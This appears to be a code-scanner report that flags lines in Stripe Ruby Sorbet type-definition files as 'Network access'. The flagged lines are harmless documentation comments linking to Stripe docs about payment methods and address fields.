# Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Mastercard networks. Check this [ - Network accessline 1404
} def cartes_bancaires=(_cartes_bancaires); end # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/paym - Network accessline 1405
def cartes_bancaires=(_cartes_bancaires); end # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/c - Network accessline 1406
# Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/cash-app-pay) for more details. - Network accessline 1411
} def cashapp=(_cashapp); end # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask. - Network accessline 1412
def cashapp=(_cashapp); end # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask. sig { returns(T.nilable( - Network accessline 1413
# [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask. - Network accessline 1418
} def crypto=(_crypto); end # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payment - Network accessline 1419
def crypto=(_crypto); end # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank - Network accessline 1420
# Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank-transfers) for more details. - Network accessline 1425
} def customer_balance=(_customer_balance); end # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by o - Network accessline 1426
def customer_balance=(_customer_balance); end # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80 - Network accessline 1427
# EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80% of Austrian online retailers. Check this [page]( - Network accessline 1437
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions - Network accessline 1438
def expand=(_expand); end # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia - Network accessline 1439
# Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia, and eleven other major Malay - Network accessline 1444
} def fpx=(_fpx); end # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https: - Network accessline 1445
def fpx=(_fpx); end # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs - Network accessline 1446
# Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs.stripe.com/payments/ben - Network accessline 1451
} def fr_meal_voucher_conecs=(_fr_meal_voucher_conecs); end # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment - Network accessline 1452
def fr_meal_voucher_conecs=(_fr_meal_voucher_conecs); end # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with - Network accessline 1453
# giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with funds debited from their bank account. Depending on their ban - Network accessline 1458
} def giropay=(_giropay); end # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android devic - Network accessline 1459
def giropay=(_giropay); end # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use - Network accessline 1460
# Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use the Google Pay API to request a - Network accessline 1465
} def google_pay=(_google_pay); end # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with - Network accessline 1466
def google_pay=(_google_pay); end # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Chec - Network accessline 1467
# GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Check this [page](https://docs.stripe.com/ - Network accessline 1472
} def grabpay=(_grabpay); end # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates - Network accessline 1473
def grabpay=(_grabpay); end # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, - Network accessline 1474
# iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, making it the most popular onli - Network accessline 1479
} def ideal=(_ideal); end # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapo - Network accessline 1480
def ideal=(_ideal); end # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Sw - Network accessline 1481
# JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Switzerland, United Kingdom, U - Network accessline 1493
} def kakao_pay=(_kakao_pay); end # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing add - Network accessline 1494
def kakao_pay=(_kakao_pay); end # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address a - Network accessline 1495
# Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address and the transaction amount. These pay - Network accessline 1500
} def klarna=(_klarna); end # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details. - Network accessline 1501
def klarna=(_klarna); end # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details. sig { returns(T.nilab - Network accessline 1502
# Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details. - Network accessline 1514
} def kr_card=(_kr_card); end # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the n - Network accessline 1515
def kr_card=(_kr_card); end # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network - Network accessline 1516
# [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network. - Network accessline 1521
} def link=(_link); end # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payme - Network accessline 1522
def link=(_link); end # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb - Network accessline 1523
# MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb-way) for more details. - Network accessline 1528
} def mb_way=(_mb_way); end # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs - Network accessline 1529
def mb_way=(_mb_way); end # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.strip - Network accessline 1530
# MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods - Network accessline 1535
} def mobilepay=(_mobilepay); end # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payme - Network accessline 1536
def mobilepay=(_mobilepay); end # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments us - Network accessline 1537
# Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments using any supported method. - Network accessline 1554
} def naver_pay=(_naver_pay); end # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payment - Network accessline 1555
def naver_pay=(_naver_pay); end # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-b - Network accessline 1556
# Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-bank-account) for more details. - Network accessline 1561
} def nz_bank_account=(_nz_bank_account); end # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay - Network accessline 1562
def nz_bank_account=(_nz_bank_account); end # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills - Network accessline 1563
# OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills and online purchases in-store with cash. Check t - Network accessline 1568
} def oxxo=(_oxxo); end # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Pola - Network accessline 1569
def oxxo=(_oxxo); end # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and - Network accessline 1570
# Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and Przelewy24 provides a way - Network accessline 1582
} def pay_by_bank=(_pay_by_bank); end # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1583
def pay_by_bank=(_pay_by_bank); end # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. sig { returns(T.nilable(PaymentMethodConfigurationUpdateParams::Payco)) } - Network accessline 1584
# PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1589
} def payco=(_payco); end # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](h - Network accessline 1590
def payco=(_payco); end # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https:/ - Network accessline 1591
# PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https://docs.stripe.com/payments/pa - Network accessline 1596
} def paynow=(_paynow); end # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details. - Network accessline 1597
def paynow=(_paynow); end # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details. s - Network accessline 1598
# PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details. - Network accessline 1603
} def paypal=(_paypal); end # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate auth - Network accessline 1604
def paypal=(_paypal); end # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizin - Network accessline 1605
# PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizing you to debit their account. - Network accessline 1610
} def payto=(_payto); end # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com - Network accessline 1611
def payto=(_payto); end # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payme - Network accessline 1612
# Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payments/pix) for more details. - Network accessline 1617
} def pix=(_pix); end # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more - Network accessline 1618
def pix=(_pix); end # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more detail - Network accessline 1619
# PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more details. - Network accessline 1631
} def revolut_pay=(_revolut_pay); end # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1632
def revolut_pay=(_revolut_pay); end # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. sig { returns(T.nilable(PaymentMethodConfigurationUpdateParams::Samsun - Network accessline 1633
# Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1638
} def samsung_pay=(_samsung_pay); end # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) the - Network accessline 1639
def samsung_pay=(_samsung_pay); end # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their pay - Network accessline 1640
# Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their payment. Customers pay by being redirected - Network accessline 1645
} def satispay=(_satispay); end # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA e - Network accessline 1646
def satispay=(_satispay); end # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA establi - Network accessline 1647
# The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA established and enforced banking standard - Network accessline 1652
} def sepa_debit=(_sepa_debit); end # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any support - Network accessline 1653
def sepa_debit=(_sepa_debit); end # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported met - Network accessline 1654
# Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported method—to accept [Sofort](https://www.sof - Network accessline 1659
} def sofort=(_sofort); end # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#cu - Network accessline 1660
def sofort=(_sofort); end # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer - Network accessline 1661
# Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer-actions) payments using the S - Network accessline 1666
} def swish=(_swish); end # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details. - Network accessline 1667
def swish=(_swish); end # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details. sig { returns(T.nilable(Pay - Network accessline 1668
# Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details. - Network accessline 1673
} def twint=(_twint); end # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](h - Network accessline 1674
def twint=(_twint); end # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https:/ - Network accessline 1675
# Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https://docs.stripe.com/payments/ac - Network accessline 1680
} def us_bank_account=(_us_bank_account); end # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesse - Network accessline 1681
def us_bank_account=(_us_bank_account); end # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' app - Network accessline 1682
# WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' apps and websites. WeChat Pay users buy most freque - Network accessline 1687
} def wechat_pay=(_wechat_pay); end # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability. - Network accessline 1688
def wechat_pay=(_wechat_pay); end # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability. sig { returns(T.nil - Network accessline 1689
# Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_method_create_params.rbi
- Network accessline 68
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 69
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 70
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 88
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 89
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 90
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 375
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar - Network accessline 376
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 377
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 541
} def boleto=(_boleto); end # If this is a `card` PaymentMethod, this hash contains the user's card details. For backwards compatibility, you can alternatively provide a Stripe token (e.g., for Apple Pay, Amex Express Checkout, or l - Network accessline 542
def boleto=(_boleto); end # If this is a `card` PaymentMethod, this hash contains the user's card details. For backwards compatibility, you can alternatively provide a Stripe token (e.g., for Apple Pay, Amex Express Checkout, or legacy - Network accessline 543
[Credential-related source omitted] - Network accessline 670
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 671
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 672
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 773
} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 774
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(PaymentMethodCreateParams::RadarOptions)) } - Network accessline 775
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_method_update_params.rbi
- Network accessline 12
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 13
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 14
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 32
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 33
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 34
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 174
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 175
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 176
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_informational_params.rbi
- Network accessline 38
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 39
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 40
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 58
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 59
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 60
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 118
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 119
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 120
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_params.rbi
- Network accessline 31
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 32
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 33
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 51
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 52
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 53
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 151
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 152
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 153
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 171
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 172
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 173
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 239
sig { params(_initiated_at: Integer).returns(Integer) } def initiated_at=(_initiated_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing addition - Network accessline 240
def initiated_at=(_initiated_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 241
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_params.rbi
- Network accessline 6
class PaymentRecordReportPaymentParams < ::Stripe::RequestParams class AmountRequested < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [suppor - Network accessline 7
class AmountRequested < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { return - Network accessline 8
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 11
sig { params(_currency: String).returns(String) } def currency=(_currency); end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can - Network accessline 12
def currency=(_currency); end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer - Network accessline 13
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 71
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 72
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 73
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 91
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 92
